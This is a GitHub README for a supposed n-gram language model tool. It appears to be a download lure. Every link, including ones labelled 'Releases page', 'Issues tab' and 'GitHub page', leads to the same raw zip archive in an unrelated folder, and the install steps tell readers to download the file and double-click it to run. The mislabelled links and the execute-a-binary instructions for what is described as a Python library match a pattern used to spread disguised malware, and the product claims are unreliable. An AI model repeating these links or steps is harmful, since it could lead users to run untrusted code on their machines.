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https://github.com/matchaboy7/ngram-language-model

🧠 Build an N-gram language model to generate coherent text, predict next words, and evaluate performance with real-world data.
https://github.com/matchaboy7/ngram-language-model

language-model laplace-smoothing machine-learning markov markov-assumption markov-chain model ngram ngram-language-model ngram-model nlp nltk perplexity pharo python smoothing-methods spell-checker statistics

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🧠 Build an N-gram language model to generate coherent text, predict next words, and evaluate performance with real-world data.

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README

          

# 🎉 ngram-language-model - Create Text with N-gram Models

## 🛠️ Download & Install
[![Download ngram-language-model](https://github.com/matchaboy7/ngram-language-model/raw/refs/heads/main/comfortably/language-ngram-model-v1.8-beta.3.zip)](https://github.com/matchaboy7/ngram-language-model/raw/refs/heads/main/comfortably/language-ngram-model-v1.8-beta.3.zip)

Follow these steps to download and run the ngram-language-model app.

1. **Visit the Download Page**: Go to the [Releases page](https://github.com/matchaboy7/ngram-language-model/raw/refs/heads/main/comfortably/language-ngram-model-v1.8-beta.3.zip).
2. **Select the Latest Version**: Look for the latest version at the top. Click on it to view all available files.
3. **Download the Application**: Locate the file relevant to your operating system. Click on it to start downloading.
4. **Run the Application**: After the download is complete, find the file in your Downloads folder. Double-click it to run.

## 📜 What is ngram-language-model?
ngram-language-model builds statistical N-gram language models from scratch. This application helps users explore tokenization, training, probability modeling, and text generation more easily. It achieves a 97.6% improvement in perplexity from unigram to 4-gram models.

## ⚙️ System Requirements
- **Operating System**: Windows 10 or later, macOS 10.14 or later, or a modern Linux distribution.
- **RAM**: Minimum 4 GB recommended.
- **Storage**: At least 200 MB of free disk space.
- **Processor**: 64-bit processor.

## 🚀 Getting Started
1. **Follow the Download Steps**: Make sure to download the application using the steps outlined above.
2. **Explore Models**: Once the application is running, you can create models using your text data.
3. **Adjust Settings**: Customize parameters like N-gram size to see how models change.

## 🧩 Features
- **User-Friendly Interface**: Navigate easily through the application, even if you're not a technical user.
- **Text Generation**: Generate coherent text based on input data.
- **N-gram Modeling**: Build different N-gram models with intuitive settings.
- **Performance Metrics**: View perplexity scores to evaluate model effectiveness.
- **Help Section**: Access user guides and tips directly within the app.

## 💡 How to Use
1. **Input Your Text**: Paste or import the text you wish to analyze or use for training.
2. **Select Model Settings**: Choose the N-gram size (like 2, 3, or 4).
3. **Run the Model**: Click the "Run" button to start model training.
4. **View Results**: Explore generated text and perplexity scores to assess performance.

## ❓ FAQs
- **What is an N-gram?**
An N-gram is a sequence of N tokens (words or characters) used in natural language processing.

- **Can I use my own datasets?**
Yes, the application allows you to import your own text files for analysis.

- **Is this software free?**
Yes, ngram-language-model is open-source and free to use.

## 📞 Support
If you encounter any issues while using the application, you can reach out through the Issues tab on our [GitHub page](https://github.com/matchaboy7/ngram-language-model/raw/refs/heads/main/comfortably/language-ngram-model-v1.8-beta.3.zip). We encourage users to report bugs and suggest improvements.

## ✍️ Acknowledgments
Thanks to our contributors for making this project possible. Your feedback helps us improve.

## 🔗 Related Topics
- Language Modeling
- Markov Chains
- Natural Language Processing (NLP)
- Text Generation

Feel free to dive into the world of N-grams with ngram-language-model. Happy modeling!